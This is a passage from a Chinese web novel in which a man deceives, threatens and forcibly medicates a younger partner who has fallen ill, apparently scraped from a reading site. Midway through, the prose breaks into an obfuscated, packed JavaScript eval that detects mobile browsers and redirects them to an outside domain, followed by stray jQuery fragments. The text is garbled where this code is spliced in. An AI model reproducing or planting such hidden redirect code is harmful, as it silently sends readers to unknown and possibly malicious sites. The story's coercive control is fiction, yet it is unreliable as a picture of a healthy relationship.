傅淮年没有想过江予会在这里。
“撒谎,骗子!”
江予不笨的,他早就知道那些药不对劲,却单纯地以为那只是傅淮年新想出来折磨他的法子,根本没想过自己竟然真的病了,而傅淮年自始至终都还在欺骗他。
他眨着蒙了灰的眼睛,难过得控诉道:“你骗我那是治眼睛的药,其实根本就不是。因为我被你玩傻了,脑子也坏掉了,所以你才逼我吃药。”
“你用那袋药丸要挟我,让我只能留在你身边。什么张经理栽赃我,什么是我主动向他拿的药,都是骗人的,你根本就是在玩弄我!”
“每天晚上还要逼我看那些恶心的视频,说什么要纠正我的坏习惯,其实就是你自己爱看,还非得拉我一起学,这么折磨人很有意思吗?!”
傅淮年瞥了眼贺琮,让这个晦气朋友快滚,随后伸手去抓江予。
江予一点儿也不想让他碰,他憋着眼泪,气得直喘气:
“你编了一箩筐的假话,就是想我对你愧疚,要把我变成一个只知道对你服软,跟你认错的傻子。现在好了,我的眼睛坏掉了,脑子也变傻了,你满意了?!”
“眼泪收回去。”傅淮年没有情感地命令他,“手别抖,把气喘匀。”
“我不想听你的话了。”
江予的情绪状态不是很好,眼睑通红,试图抛出些更严重的后果:“我以后再也不要喊你淮年哥了,我本来就不喜欢你,讨厌你,恨不得离你越远越好!”
保镖闻声赶来。
“可以了。”傅淮年动作强硬地攥住江予的手腕,“回家。”
贺琮摸摸鼻子,咧嘴笑开,去拍傅淮年的肩:“就是,你又不喜欢人家,还非得这么折腾人家。”
“你也滚——”江予指着贺琮,吼了一声。
傅淮年推开贺琮,头疼道:“滚滚滚。”
保镖们上前抓住江予,把他带上了车,这场闹剧才勉强收场。
直到回到家,傅淮年都没有对这些事情做出过半句解释,仿佛对江予使坏是什么天经地义的事情。
“把药喝了。”
晚上,傅淮年上楼前,给蹲在客厅角落里的江予下达命令。
江予没应声。
“打算在那里蹲多久?”傅淮年耐心告罄,语气阴冷,“药是你要换的,现在换了又不愿意吃,真把自己当回事了?最后三秒,不喝我就让人灌。”
阿姨已经把煎好的中药热了三回,整个客厅都弥漫着那股中药味。
闻起来像傅淮年的信息素,江予很讨厌。
“三。”
“二。”
江予终于还是从阿姨手中接过药,捏着鼻子全灌了下去。
傅淮年没再管他,转身回了卧室——“咔嚓”一声,落了锁。
客厅里空落落的,江予蹲了很久,直到整栋别墅都熄了灯,他才撑着蹲麻的腿站了起来。
傅淮年晾着他。
像是在惩罚一只不听话的小狗,要它自己反省,然后去跟他认错。
可江予不明白,明明做错事情的傅淮年,为什么认错的是自己。
傅淮年骗他。
用那些拙劣的手段威胁自己,迫使自己不敢逃跑。
现在害得他生了病,还要骗他吃那些副作用很大的药,明明傅淮年、管家、贺琮他们都知道自己得了病,可傅淮年还是不跟他说实话,偏要把他当成傻子一样戏弄。
偏要看他因为生病而出的糗。
客厅门窗大开,暖气也没有,窗外是初冬的寒风。江予好冷,他无处可去。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079105|179359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
从前的江予或许可以凭着顽强的意志挺过这晚,但江予病了,有时候他会听见些别人听不见的声音,他其实也害怕。
傅淮年就这么等着,等着胆小如鼠的江予主动来敲他的门,然后来和他道歉。
但江予没有。
凌晨两点,忍无可忍的傅淮年终于开门下楼,可逡巡一圈都没有看到江予的影子。
“三秒钟,滚出来。”
可整整三十秒过去,傅淮年还是没有得到半点回应。
Alpha喊来了整栋别墅的人,开灯找人,但结果却是一无所获。
傅淮年看了眼大开的门窗,心中咯噔一下,几乎都以为江予又私自逃跑了,那股盛怒烧到一半,管家终于跑来告诉他,人找到了。
在橱柜里。
傅淮年打开柜门,发现人已经枕着膝盖睡着了,长长的睫毛还挂着湿润的泪珠,小脸被冻得惨白,手里还捏着半个没吃完的蛋挞。
傅淮年一伸手,江予就委委屈屈地抱住了他的小臂,说起梦话:“哥……”
傅淮年把人抱出来。
“他们又来了……”睡着的江予温顺地靠着傅淮年的胸膛,“张经理他们找到我了……我得藏起来。”
傅淮年一路把人抱回卧室:“他们不敢。”
躺回床上,傅淮年其实有点累了。
他闭了闭眼,想找出这股莫名疲惫的来源,可查无所获。
他回想起刚刚翻遍了整栋别墅都找不到人的场景,下意识去摸床侧,碰到江予时,江予忽然剧烈地抖了抖。
人醒了。
那双眼睛怔怔地看着没穿衣服的傅淮年,快速眨了眨,又偷瞄了眼自己完好无损的内裤,很快安心下来:
“傅淮年,你不要再碰我了。”